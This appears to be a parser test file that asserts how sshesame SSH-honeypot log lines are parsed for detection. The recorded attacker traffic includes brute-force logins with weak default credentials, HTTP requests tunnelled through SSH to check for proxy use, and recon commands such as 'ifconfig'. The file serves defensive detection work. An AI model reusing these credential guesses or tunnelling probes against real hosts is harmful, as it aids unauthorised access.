results["s01-parse"]["thespad/sshesame-logs"][202].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][202].Evt.Parsed["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][202].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][202].Evt.Parsed["timestamp"] == "2022/05/06 10:43:19" results["s01-parse"]["thespad/sshesame-logs"][202].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][202].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][202].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][202].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][202].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][202].Evt.Meta["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][203].Success == false results["s01-parse"]["thespad/sshesame-logs"][204].Success == false results["s01-parse"]["thespad/sshesame-logs"][205].Success == false results["s01-parse"]["thespad/sshesame-logs"][206].Success == true results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Parsed["sshesame_user"] == "ubnt" results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Parsed["timestamp"] == "2022/05/06 10:44:31" results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Parsed["message"] == "2022/05/06 10:44:31 [202.153.33.62:26354] authentication for user \"ubnt\" with password \"ubnt1\" accepted" results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Parsed["source_ip"] == "202.153.33.62" results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Parsed["sshesame_password"] == "ubnt1" results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Meta["source_ip"] == "202.153.33.62" results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Meta["target_user"] == "ubnt" results["s01-parse"]["thespad/sshesame-logs"][206].Evt.Meta["username"] == "ubnt" results["s01-parse"]["thespad/sshesame-logs"][207].Success == false results["s01-parse"]["thespad/sshesame-logs"][208].Success == false results["s01-parse"]["thespad/sshesame-logs"][209].Success == false results["s01-parse"]["thespad/sshesame-logs"][210].Success == true results["s01-parse"]["thespad/sshesame-logs"][210].Evt.Parsed["message"] == "2022/05/06 11:06:40 [190.2.139.67:7117] [channel 136] input: \"GET /?requestid=3381 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][210].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][210].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][210].Evt.Parsed["sshesame_input"] == "GET /?requestid=3381 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][210].Evt.Parsed["timestamp"] == "2022/05/06 11:06:40" results["s01-parse"]["thespad/sshesame-logs"][210].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][210].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][210].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][210].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][210].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][210].Evt.Meta["input"] == "GET /?requestid=3381 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][211].Success == false results["s01-parse"]["thespad/sshesame-logs"][212].Success == true results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Parsed["message"] == "2022/05/06 11:44:51 [65.108.254.29:39240] authentication for user \"root\" with password \"Subby123123\" accepted" results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Parsed["source_ip"] == "65.108.254.29" results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Parsed["sshesame_password"] == "Subby123123" results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Parsed["sshesame_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Parsed["timestamp"] == "2022/05/06 11:44:51" results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Meta["username"] == "root" results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Meta["source_ip"] == "65.108.254.29" results["s01-parse"]["thespad/sshesame-logs"][212].Evt.Meta["target_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][213].Success == false results["s01-parse"]["thespad/sshesame-logs"][214].Success == false results["s01-parse"]["thespad/sshesame-logs"][215].Success == true results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Parsed["sshesame_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Parsed["timestamp"] == "2022/05/06 11:44:51" results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Parsed["message"] == "2022/05/06 11:44:51 [65.108.254.29:39858] authentication for user \"nproc\" with password \"nproc\" accepted" results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Parsed["source_ip"] == "65.108.254.29" results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Parsed["sshesame_password"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Meta["source_ip"] == "65.108.254.29" results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Meta["target_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][215].Evt.Meta["username"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][216].Success == false results["s01-parse"]["thespad/sshesame-logs"][217].Success == false results["s01-parse"]["thespad/sshesame-logs"][218].Success == false results["s01-parse"]["thespad/sshesame-logs"][219].Success == true results["s01-parse"]["thespad/sshesame-logs"][219].Evt.Parsed["timestamp"] == "2022/05/06 11:44:56" results["s01-parse"]["thespad/sshesame-logs"][219].Evt.Parsed["message"] == "2022/05/06 11:44:56 [190.2.139.67:58629] [channel 140] input: \"GET /?requestid=54995 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][219].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][219].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][219].Evt.Parsed["sshesame_input"] == "GET /?requestid=54995 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][219].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][219].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][219].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][219].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][219].Evt.Meta["input"] == "GET /?requestid=54995 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][219].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][220].Success == false results["s01-parse"]["thespad/sshesame-logs"][221].Success == true results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Parsed["message"] == "2022/05/06 11:47:01 [217.95.152.37:62602] authentication for user \"sales\" with password \"sales123\" accepted" results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Parsed["source_ip"] == "217.95.152.37" results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Parsed["sshesame_password"] == "sales123" results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Parsed["sshesame_user"] == "sales" results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Parsed["timestamp"] == "2022/05/06 11:47:01" results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Meta["username"] == "sales" results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Meta["source_ip"] == "217.95.152.37" results["s01-parse"]["thespad/sshesame-logs"][221].Evt.Meta["target_user"] == "sales" results["s01-parse"]["thespad/sshesame-logs"][222].Success == false results["s01-parse"]["thespad/sshesame-logs"][223].Success == true results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Parsed["message"] == "2022/05/06 11:47:02 [217.95.152.37:33514] authentication for user \"nproc\" with password \"nproc\" accepted" results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Parsed["source_ip"] == "217.95.152.37" results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Parsed["sshesame_password"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Parsed["sshesame_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Parsed["timestamp"] == "2022/05/06 11:47:02" results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Meta["username"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Meta["source_ip"] == "217.95.152.37" results["s01-parse"]["thespad/sshesame-logs"][223].Evt.Meta["target_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][224].Success == false results["s01-parse"]["thespad/sshesame-logs"][225].Success == false results["s01-parse"]["thespad/sshesame-logs"][226].Success == false results["s01-parse"]["thespad/sshesame-logs"][227].Success == false results["s01-parse"]["thespad/sshesame-logs"][228].Success == false results["s01-parse"]["thespad/sshesame-logs"][229].Success == false results["s01-parse"]["thespad/sshesame-logs"][230].Success == true results["s01-parse"]["thespad/sshesame-logs"][230].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][230].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][230].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][230].Evt.Parsed["timestamp"] == "2022/05/06 11:53:48" results["s01-parse"]["thespad/sshesame-logs"][230].Evt.Parsed["message"] == "2022/05/06 11:53:48 [45.82.65.44:42736] [channel 29] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][230].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][230].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][230].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][230].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][230].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][230].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][231].Success == false results["s01-parse"]["thespad/sshesame-logs"][232].Success == false results["s01-parse"]["thespad/sshesame-logs"][233].Success == true results["s01-parse"]["thespad/sshesame-logs"][233].Evt.Parsed["message"] == "2022/05/06 12:11:39 [190.2.139.67:7117] [channel 138] input: \"GET /?requestid=13796 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][233].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][233].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][233].Evt.Parsed["sshesame_input"] == "GET /?requestid=13796 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][233].Evt.Parsed["timestamp"] == "2022/05/06 12:11:39" results["s01-parse"]["thespad/sshesame-logs"][233].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][233].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][233].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][233].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][233].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][233].Evt.Meta["input"] == "GET /?requestid=13796 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][234].Success == false results["s01-parse"]["thespad/sshesame-logs"][235].Success == true results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Parsed["timestamp"] == "2022/05/06 12:25:39" results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] authentication for user \"root\" with password \"root\" accepted" results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Parsed["source_ip"] == "188.255.62.33" results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Parsed["sshesame_password"] == "root" results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Parsed["sshesame_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Meta["source_ip"] == "188.255.62.33" results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Meta["target_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Meta["username"] == "root" results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][235].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][236].Success == false results["s01-parse"]["thespad/sshesame-logs"][237].Success == false results["s01-parse"]["thespad/sshesame-logs"][238].Success == true results["s01-parse"]["thespad/sshesame-logs"][238].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] [channel 0] command \"/ip cloud print\" requested" results["s01-parse"]["thespad/sshesame-logs"][238].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][238].Evt.Parsed["source_ip"] == "188.255.62.33" results["s01-parse"]["thespad/sshesame-logs"][238].Evt.Parsed["sshesame_cmd"] == "/ip cloud print" results["s01-parse"]["thespad/sshesame-logs"][238].Evt.Parsed["timestamp"] == "2022/05/06 12:25:39" results["s01-parse"]["thespad/sshesame-logs"][238].Evt.Meta["command"] == "/ip cloud print" results["s01-parse"]["thespad/sshesame-logs"][238].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][238].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][238].Evt.Meta["log_type"] == "sshesame_cmd" results["s01-parse"]["thespad/sshesame-logs"][238].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][238].Evt.Meta["source_ip"] == "188.255.62.33" results["s01-parse"]["thespad/sshesame-logs"][239].Success == false results["s01-parse"]["thespad/sshesame-logs"][240].Success == false results["s01-parse"]["thespad/sshesame-logs"][241].Success == true results["s01-parse"]["thespad/sshesame-logs"][241].Evt.Parsed["sshesame_cmd"] == "ifconfig" results["s01-parse"]["thespad/sshesame-logs"][241].Evt.Parsed["timestamp"] == "2022/05/06 12:25:39" results["s01-parse"]["thespad/sshesame-logs"][241].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] [channel 1] command \"ifconfig\" requested" results["s01-parse"]["thespad/sshesame-logs"][241].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][241].Evt.Parsed["source_ip"] == "188.255.62.33" results["s01-parse"]["thespad/sshesame-logs"][241].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][241].Evt.Meta["log_type"] == "sshesame_cmd" results["s01-parse"]["thespad/sshesame-logs"][241].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][241].Evt.Meta["source_ip"] == "188.255.62.33" results["s01-parse"]["thespad/sshesame-logs"][241].Evt.Meta["command"] == "ifconfig" results["s01-parse"]["thespad/sshesame-logs"][241].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][242].Success == false results["s01-parse"]["thespad/sshesame-logs"][243].Success == false results["s01-parse"]["thespad/sshesame-logs"][244].Success == true results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Parsed["message"] == "2022/05/06 12:33:29 [154.86.27.24:33448] authentication for user \"sam\" with password \"12345678\" accepted" results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Parsed["source_ip"] == "154.86.27.24" results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Parsed["sshesame_password"] == "12345678" results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Parsed["sshesame_user"] == "sam" results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Parsed["timestamp"] == "2022/05/06 12:33:29" results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Meta["target_user"] == "sam" results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Meta["username"] == "sam" results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][244].Evt.Meta["source_ip"] == "154.86.27.24" results["s01-parse"]["thespad/sshesame-logs"][245].Success == false results["s01-parse"]["thespad/sshesame-logs"][246].Success == false results["s01-parse"]["thespad/sshesame-logs"][247].Success == true results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Parsed["message"] == "2022/05/06 12:33:31 [154.86.27.24:34072] authentication for user \"nproc\" with password \"nproc\" accepted" results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Parsed["source_ip"] == "154.86.27.24" results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Parsed["sshesame_password"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Parsed["sshesame_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Parsed["timestamp"] == "2022/05/06 12:33:31" results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Meta["source_ip"] == "154.86.27.24" results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Meta["target_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Meta["username"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][247].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][248].Success == false results["s01-parse"]["thespad/sshesame-logs"][249].Success == false results["s01-parse"]["thespad/sshesame-logs"][250].Success == false results["s01-parse"]["thespad/sshesame-logs"][251].Success == true results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Parsed["sshesame_password"] == "aisadmin" results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Parsed["sshesame_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Parsed["timestamp"] == "2022/05/06 12:39:33" results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Meta["target_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Meta["username"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][251].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][252].Success == false results["s01-parse"]["thespad/sshesame-logs"][253].Success == false results["s01-parse"]["thespad/sshesame-logs"][254].Success == true results["s01-parse"]["thespad/sshesame-logs"][254].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][254].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][254].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][254].Evt.Parsed["timestamp"] == "2022/05/06 12:39:33" results["s01-parse"]["thespad/sshesame-logs"][254].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][254].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][254].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][254].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][254].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][254].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][254].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][255].Success == false results["s01-parse"]["thespad/sshesame-logs"][256].Success == false results["s01-parse"]["thespad/sshesame-logs"][257].Success == true results["s01-parse"]["thespad/sshesame-logs"][257].Evt.Parsed["timestamp"] == "2022/05/06 12:39:33" results["s01-parse"]["thespad/sshesame-logs"][257].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][257].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][257].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][257].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][257].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][257].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][257].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][257].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][257].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][257].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][258].Success == false results["s01-parse"]["thespad/sshesame-logs"][259].Success == false results["s01-parse"]["thespad/sshesame-logs"][260].Success == false results["s01-parse"]["thespad/sshesame-logs"][261].Success == true results["s01-parse"]["thespad/sshesame-logs"][261].Evt.Parsed["message"] == "2022/05/06 12:58:50 [190.2.139.67:7117] [channel 141] input: \"GET /?requestid=72371 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][261].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][261].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][261].Evt.Parsed["sshesame_input"] == "GET /?requestid=72371 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][261].Evt.Parsed["timestamp"] == "2022/05/06 12:58:50" results["s01-parse"]["thespad/sshesame-logs"][261].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][261].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][261].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][261].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][261].Evt.Meta["input"] == "GET /?requestid=72371 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][261].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][262].Success == false results["s01-parse"]["thespad/sshesame-logs"][263].Success == false results["s01-parse"]["thespad/sshesame-logs"][264].Success == true 